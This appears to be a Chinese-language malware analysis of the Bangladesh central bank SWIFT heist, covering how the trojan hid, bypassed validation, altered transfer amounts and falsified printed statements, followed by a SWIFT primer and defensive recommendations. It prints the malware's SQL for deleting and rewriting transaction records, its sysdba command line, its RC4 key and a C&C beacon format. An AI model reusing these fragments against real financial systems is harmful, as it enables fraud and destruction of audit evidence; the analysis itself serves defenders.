SWIFT惊天银行大劫案全程分析

Posted FreeBuf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SWIFT惊天银行大劫案全程分析相关的知识,希望对你有一定的参考价值。


1.前言

最近,使用国际银行业合作SWIFT系统的银行频频发生被盗,是由于SWIFT系统真的存在严重安全问题,还是跟好莱坞大片那样直接撬开银行金库?本文将针对孟加拉国央行被盗的案例进行了技术分析,还原银行被盗的整个过程。

本文将分为两大部分:第一部分为孟加拉国央行案例的整体分析,包括孟加拉国央行的风险分析,木马分析,篡改金额等具体技术细节分析,第二部分为科普SWIFT系统基本简介、银行识别代码、报文以及系统架构等知识。

如果不熟悉SWIFT整个系统流程的可先阅读第二部分了解SWIFT机制再阅读第一部分的木马分析。

2.孟加拉国央行被盗过程还原

2.1.  事件概述

从去年开始,世界范围内使用SWIFT系统的银行相继被曝出盗窃案件,从2015年1月的厄瓜多尔银行损失1200万美元,10月的菲律宾银行,到今年2月孟加拉国央行曝出被盗窃8100万美元。一系列的案件逐渐引起了人们对SWIFT系统的关注,并对SWIFT系统的安全性打上了问号。

根据孟加拉国央行人员以及警方消息,孟加拉国央行被盗并非空穴来风,原因是该行缺乏任何防火墙设备,而且使用的是价值10美元的二手交换机,网络结构也没有将SWIFT相关服务器与其他网络做隔离。

有进一步的消息表明,孟加拉国央行的技术人员搭建了可以直接访问SWIFT系统的WIFI接入点,只使用了简单的密码保护,另一方面,安装了SWIFT系统的服务器并没有禁用USB接口,这些种种现象表明,该行的网络安全存在各种巨大安全隐患,被黑客盯上只是时间的问题。

本报告重点对木马主程序进行了逆向分析,包括行为监控,绕过安全校验机制,篡改金额等进行了分析,覆盖了整个窃取金额的主要流程。对于黑客幕后组织,其他银行SWIFT被盗案例暂不深入分析。

从下面的攻击流程概要可以看出:

接下来恶意程序通过监控日志查找孟加拉国央行的登录行为,如果没有找到则睡眠5秒后再次搜索。当监控到登录行为后,绕过SWIFT客户端的安全机制后,监控关键目录下的缓存报文信息并解析,根据解析结果获得转账账户当前最大可用余额,并成功篡改交易金额和收款人,达到窃取资金的目的。

此外恶意程序还劫持打印机篡改需要打印的对账单,避免银行业务人员发现篡改行为,从而延长了银行追查资金的时间,让黑客有更多的时间去洗钱。

SWIFT惊天银行大劫案全程分析

2.2.  攻击前的准备

根据第一部分介绍的SWIFT系统基础知识,最容易切入的点非SWIFT接入服务器莫属,攻击者通过种植精心编译的木马得到SWIFT Alliance Access software服务器的权限,重点攻破以下几个关卡达到了窃取非法资金的目的:

l   获得SWIFTAlliance Access software控制权

l   破解SWIFT报文安全检验机制

l   监听目标报文并进行篡改操作并实现对账平衡(主要是转入/转出)

l   劫持打印机打印篡改前对账单

整理获取到的信息,从恶意软件样本可以看出攻击者不仅有良好的恶意软件编写功底,还对整个SWIFT架构业务非常熟悉,甚至对数据库的表结构都了如指掌。

2.3.  恶意文件的启动

启动恶意程序evtdiag.exe时接收不同的启动参数,从而达到不同的功能。接收的参数有-svc、-g、-p、resume、pause、on、off、queue,其中on、pause、resume、off、queue都是对打印机功能的操作,-svc参数则是将木马以windows服务方式启动,服务名为evtsys.exe。

SWIFT惊天银行大劫案全程分析

在运行时,恶意软件通过读取它的配置文件gpca.dat,该配置文件在服务器的路径如下:

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat

而且通过RC4加密,而密钥如下:

4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed08 ef

该恶意软件还通过以下的文件来记录恶意程序的日志信息:

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\recas.dat

2.4. 实时监控转账交易

恶意软件的第二个步骤是开始进行监听SWIFT Financial Application (FIN)报文,重点关注下面目录的*PRC和*fal文件

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\

猜测这两个目录保存的转入/转出报文的临时文件,而*PRC和*FAL文件则是转账对应的报文。恶意程序会深入解析这两种格式的文件,根据配置文件gpca.dat定义的字符串进行搜索,定义的字符串如下:

“FIN 900 Confirmation of Debit”(FIN 900确认借记)

“20: Transaction”(20:交易)

“Sender :”(汇款方)

SELECT MESG_S_UMID

FROM SAAOWNER.MESG_%s

WHERE  MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' ANDMESG_TRN_REF LIKE '%%%s%%';

获得该SWIFT消息ID后,在本地数据库中删除本条交易记录:

DELETE FROM SAAOWNER.MESG_%sWHERE MESG_S_UMID = '%s';

DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = '%s';

SWIFT惊天银行大劫案全程分析

这里解释一下MESG_S_UMID以及这个操作的含义。根据业内人士介绍,MESG_S_UMID所对应的银行收到的汇款请求ID,该ID对应的记录包含了汇款请求所需要的各种信息,包括转账账户,收款账户,汇款金额,汇款银行等。

从业务场景分析来看,被攻击的银行实际是个代理行,在正常的业务流程下,代理行接收到汇款请求后,确认无误后再转发给SWIFT系统的下一个结点,而代理行被攻击的场景下,在数据库中将代理行收到的汇款请求删除,即意味着将正常的汇款交易请求记录在数据库被删除了。

接下来所有需要执行的SQL语句都被劫持,并保存到以”SQL”开头的临时文件中,而且所有的SQL语句执行前把数据的异常输出都关闭,确保不被系统或管理员发现异常:

SET HEADING OFF;

SET LINESIZE 32567;

SET FEEDBACK OFF;

SET ECHO OFF;

SET FEED OFF;

SET VERIFY OFF;

将SQL临时文件构成后,恶意软件通过以下命令在终端以sysdba的权限来执行SQL语句:

cmd.exe /c echo exit |sqlplus -S / as  sysdba@[SQL_Statements]> [OUTPUT_FILE]

SWIFT惊天银行大劫案全程分析

之后恶意程序进入一个循环,它将一直在数据库中搜索包含“登录”的日志记录:

SELECT *

FROM (SELECTJRNL_DISPLAY_TEXT, JRNL_DATE_TIME

FROM SAAOWNER.JRNL_%s

WHERE JRNL_DISPLAY_TEXT LIKE '%%LT BBHOBDDHA: Log%%' ORDERBY JRNL_DATE_TIME DESC) A

WHERE ROWNUM = 1;

PS:BBHOBDDH为孟加拉国在达卡的SWIFT代码,即孟加拉国央行

如果没有搜索到“登录”记录,则休眠5秒,然后再次尝试搜索。

如果搜索到“登录”记录,则向C&C服务器发送一个GET请求,GET请求格式如下:

[C&C_server]/al?[data]

data有以下三种情况:

—O:Open,检测到登录行为;

—C:Close,检测到注销行为;

—N:None,没有事件发生。

SWIFT惊天银行大劫案全程分析

2.5.  绕过安全机制

除了在RP有安全检验外,SWIFT Alliance Access software同样存在安全校验。通过分析得知,SWIFTAlliance Access software的安全校验是依靠挂载了liboradb.dll的进程。

这个关键跳的作用就是判断报文是否符合安全校验的关键跳,而报文在SAP/RAP,RP节点只对报文的格式规范进行校验,缺少对安全性的校验,因此可以成功绕过SWIFT的报文安全校验机制。

SWIFT惊天银行大劫案全程分析

这样更改的效果是重要的安全检验结果将被忽略,安全校验代码永远执行不了“失败”,而且保存校验结果的eax寄存器都是赋值0(意味着成功)。该liboradb.dll是属于SWIFT’s Alliance software的组件之一,负责的功能有:

从注册表中获取数据库的路径

启动数据库

执行数据库的备份和恢复功能

到目前为止,恶意软件通过修改SWIFT’s Alliance software软件达到劫持的目的,攻击者可以在服务器上操作SWIFT报文和数据库的控制权限。

2.6.  篡改金额并维持平衡

恶意软件从以下目录监听SWIFT报文,将监听到的报文进行解析,对以下信息进行重点关注:

"19A: Amount"

": Debit"

"Debit/Credit :"

"Sender :"

"Amount :"

"FEDERAL RESERVE BANK"

" D"

" C"

"62F: "

60F: "

"60M: "

"62M: "

"Credit"

"Debit"

" 64: "

" 20: Transaction"

"90B: Price"

62F:该对帐单结束时的帐面结存的最后余额

60F:该对帐单结束时的帐面结存的起始余额

19A:该对帐单涉及的交易金额

恶意软件通过以上关键字搜索到了所需要的信息,然后通过MESG_S_UMID查询有

SELECTMESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';

SELECT MESG_S_UMID

FROM SAAOWNER.MESG_%s

WHEREMESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' AND

MESG_FIN_CCY_AMOUNTLIKE '%%%s%%';

最后可以通过UPDATE操作,将转账消息中的交易余额更改为之前获得到的最多可用余额

(MESG_FIN_CCY_AMOUNT)

UPDATE SAAOWNER.MESG_%sSET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s';

UPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s')WHERE TEXT_S_UMID = '%s';

其中TEXT_DATA_BLOCK字段包含了汇款的金额、收款人信息。变量v27是从sub_40B6F0和sub_40A4C0函数中处理得到的,通过进一步分析sub_40B6F0函数得知,该变量是综合了之前获得的60F,62F,60M,62M等转账汇报信息,经过处理后传输执行SQL语句的函数,最终达到篡改金额的目的。

SWIFT惊天银行大劫案全程分析

2.7.  欺骗打印机

以上的操作已经可以在SWIFT系统中进行任意的转账,但仅仅这些还是不够的,因为SWIFT系统进行转账业务时仍会打印对账单(MT950)进行确认。

对账单是通过打印机打印的,这个过程好比个人去银行柜台办理业务时,银行通常会打印办理业务确认信息供客户签字确认,如果打印机直接打印篡改后的转账记录,银行业务员可以在第一时间发现异常行为,这直接会暴露攻击者意图而且转账失败。

因此攻击者编写了劫持打印对账单的恶意程序—— nroff_b.exe。

通过分析nroff.exe得知,该程序接收以下参数:

-p 执行打印机相关操作

resume:恢复打印机

pause:暂停打印机

on:连接打印机

off:断开打印机

queue:枚举打印机任务

该恶意程序通过劫持要打印的对账单,进行读取,理解并篡改成打印机命令语言(PCL)的PRT文本,然后这个PRT文本通过nroff.exe程序进行提交打印任务,提交打印任务后随即将临时PRT文本彻底删除。

3.SWIFT系统基础介绍

3.1.  SWIFT简介

SWIFT又称:“环球同业银行金融电讯协会”,是国际银行同业间的国际合作组织,成立于一九七三年,总部设在比利时的布鲁塞尔,同时在荷兰阿姆斯特丹和美国纽约分别设立交换中心(Swifting Center),并为各参加国开设集线中心(National Concentration),为国际金融业务提供快捷、准确、优良的服务。

目前全球大多数国家大多数银行已使用SWIFT系统。SWIFT的使用,使银行的结算提供了安全、可靠、快捷、标准化、自动化的通讯业务,从而大大提高了银行的结算速度。

3.2.  SWIFT银行识别代码


SWIFT惊天银行大劫案全程分析

3.3.  SWIFT提供的服务

接入服务(Connectivity)包括SWIFT AllianceAccess and Entry 、SWIFTAlliance Gateway 、SWIFTAlliance Webstation 、File TransferInterface 等接入模式;

金融信息传送服务(Messaging)包括SWIFTNetFIN 、SWIFTNet InterAct 、SWIFT FileAct 、SWIFTNeBrowse 等传输模式;

交易处理服务(transactionprocessing)提供交易处理匹配服务、实时报告的双边净额清算服务、支持B2B的商务中的端对端电子支付等;

分析服务与分析工具(AnalyticalServices/Tools)向金融机构提供一些辅助性的服务,即分析服务与分析工具。

本次央行被盗的突破口就是接入服务的SWIFT Alliance access software软件服务被种植了转账木马的。

3.4.  SWIFT报文

银行常用的SWIFT报文格式有:

MT100客户汇款;

MT200单笔银行头寸调入发报行账户;

MT202单笔银行头寸调拨;

MT204备付金索汇;

MT400付款通知(托收);

MT700开立跟单信用证;

MT707跟单信用证的修改;

MT900借记证实;

MT910贷记证实

MT950对账单;

MTn95查询;

MTn99自由格式。

3.5.  SWIFT系统架构

SWIFT网络由许多分布在世界各地的计算机和网络设备组成,这些设备在SWIFT网络中称为节点。SWIFT的系统构架图如下:

SWIFT惊天银行大劫案全程分析

(1)系统控制处理机(systemcontrol processor,缩写为SCP)

整个SWIFT网络的控制集中在整个操作中心,一个在美国,一个在荷兰。SCP负责整个WSIFT网络的正常运行,不断监测直辖市、控制网络中的各种设备、线路和用户访问。

在美国、荷兰的操作中心,各有两台SCP,在任何时刻,只有一台处于激活状态,控制整个网络,其余三台SCP处于热备份状态,在激活SCP出现故障时,备份SCP被激活,保证了网络的安全可靠性。

(2)片处理机(slice processor,缩写为SP)

SP负责电报的存储转发和控制电报的路由选择。目前,两个操作中心各有两台SP处于激活状态,同时每个激活的SP都有一台同型号的SP进行热备份。为适应发报量不断增长的需要,还要陆续增加SP。

目前,SWIFT采用UNISYS公司的A系列主机作为SCP和SP。

(3)地区处理机(reginalprocessor,缩写为RP)

在电报即将出网进入CBT前,也暂时存在RP上,等待送达接收用户。每台RP基本上承担一个国家的电报处理,所以称之为地区处理机,所有的RP都在美国和荷兰的两大操作中心内。

(4)SWIFT访问点(SWIFTAccess Point,缩写为SAP)和远程访问点(RAP)

SAP是连接SWIFT骨干网(SWIFT transport network,缩写为STN)的分组交换节点机,他们把SWIFT系统的各种处理机(SCP、SP、RP)和遍布世界的SWIFT用户连接到STN网上。

目前,SAP采用北方电讯公司的DPN100交换机,整个SWIFT骨干网有150台左右DPN100交换机(包括备份)。

(5)用户与SAP的联接

用户访问SWIFT系统需要有一套计算机系统与SWIFT系统相联接,这套计算机系统称为Computer Based Terminal(CBT),CBT中运行的SWIFT接口软件与SWIFT系统通讯。目前有多个计算机公司开发的运行在多种平台上的SWIFT接口软件。

CBT支持一个或几个逻辑终端(LT),在一个物理的CBT支持几个LT(即一个用户定义几个LT)的情况下,SWIFT系统将每个LT在逻辑上看成是相互独立的。一个LT必须登陆到SWIFT系统,也就是必须与SWIFT系统的服务应用建立对话关系。

3.6.访问SWIFT系统流程

在SWIFT系统中,一个LT需要登录到SWIFT系统才可以建立应用对话关系,而SWIFT提供的用户之间的电报交换功能是使用户进入两种SWIFT应用层才能实现的。

这两种应用是:GPA(general purpose application)—提供用户与系统有关的各类电报,并能控制用户对FIN应用的访问。

FIN(Financial Application)—包括全部用户之间的业务电报和FIN系统电报。一个LT具体的登录流程如下:

4.分析总结

从整个攻击过程来看,体现了攻击者对SWIFT系统及业务都十分了解,SWIFT作为全球银行使用最多的结算系统,虽然搭建了专属的网络架构和各种标准与规范,看似安全性极高的系统最近却频频出现被盗的案例。

作为企业的防守方,除了分析攻击者的攻击套路外,更多的需要思考如何面对如此高级别的APT攻击,而孟加拉国的央行给我们上了极好的一课。

分析完孟加拉国央行整个案例,从事前预防,事中监控,事后审计三个角度来总结:

(1)事前预防。从孟加拉国央行的网络环境得知系统的风险点有:

网络隔离,服务器如果跟客户端或PC处于同个网络环境,将大大增加服务器的可攻击面,因此建议企业安全人员,尤其是银行业的从业人员,务必要重视网络区域划分,梳理清楚业务的需求,最好可以做到端口级的策略。

如果孟加拉国央行可以实现这点,那么木马在运行时访问CC服务器时就能够发现这个异常的行为,从而中止恶意交易请求,减少损失。

安全设备,像孟加拉国央行的二手交换机肯定是无法满足安全需求的,而国内在监管部门的推动下,金融机构基本上都有采购专用的网络安全设备。然而使用效率则出现各种情况,据路边社消息有些机器采购后连电源都没有插上。这部分仍需要持续加强部分。

访问认证,孟加拉国央行技术人员搭建的WIFI其实是很不安全的做法,同样在国内各个企业都会遇到这样的难题,由于便携式WIFI普及,很多企业员工私自建立个WIFI热点,这些临时WIFI热点通常是个弱口令,这给攻击者带来极大的便利,因为企业员工的计算机通常是可以访问企业内部网络的。

终端安全,USB口是企业安全人员容易忽略的部分,目前国内通常在企业服务器的基线配置中会将禁用USB作为安全标准之一,而大部分企业并没有对员工PC的USB口没有禁用,因为USB在工作过程中确实带来很多便利的地方,但同时也是存在风险的地方。

(2)事中监控

在本次的银行案例中,服务器被种植木马后除了攻击者外谁都没有察觉到木马的存在。在做好事先的网络策略的前提下,企业还可以通过IPS/IDS设备,网络流量异常监控,服务器文件完整性监控,如果是应用软件提供商,还需要在内存中做完整性校验,避免黑客直接在内存中修改程序逻辑。

(3)事后审计

孟加拉国央行察觉被盗后,由于系统数据库中的交易记录已被恶意程序删除,直接导致事后追查资金十分困难。

这也提醒企业在日志记录也要给予足够的重视,事后如果知道4个W(When/Who/What/Where)将大大提高审计的效率,通常关注的日志有网络访问日志,数据库执行日志,操作系统日志,应用程序日志,对于业务系统也要具备完善的日志模块,笔者曾遇到某业务系统,连普通的查询请求都详细的记录到日志模块里。

当然,以上几点总结并不足于覆盖整个企业的安全工作,安全工作需要上下一条心,给予足够的重视和推动,才能把安全工作做到位,最终为企业的业务保驾护航。

5.附录

http://www.treasurer.org.cn/webinfosmains/index/show/54703.html

http://baesystemsai.blogspot.jp/2016/04/two-bytes-to-951m.html

http://www.freebuf.com/vuls/106026.html

*本文作者:白泽安全团队,本文属FreeBuf原创奖励计划,未经许可禁止转载


以上是关于SWIFT惊天银行大劫案全程分析的主要内容,如果未能解决你的问题,请参考以下文章

美国拟禁止中资银行使用Swift系统

女友半夜加班发自拍 python男友用30行代码发现惊天秘密

女友半夜加班发自拍 python男友用30行代码发现惊天秘密

SWIFT到底是怎么回事?针对银行的黑客攻击技术(报告)

SWIFT获邀出席汇丰银行金融同业环球清算业务高层论坛

一张半夜加班发自拍 python小哥 30行代码发现惊天秘密